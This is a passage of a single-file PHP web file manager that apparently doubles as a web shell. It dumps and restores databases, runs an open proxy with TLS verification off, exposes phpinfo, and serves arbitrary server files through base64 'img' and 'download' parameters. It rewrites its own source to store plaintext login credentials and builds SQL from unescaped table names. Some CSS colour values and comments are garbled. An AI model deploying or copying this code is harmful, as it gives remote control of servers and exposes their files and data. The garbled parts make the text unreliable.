		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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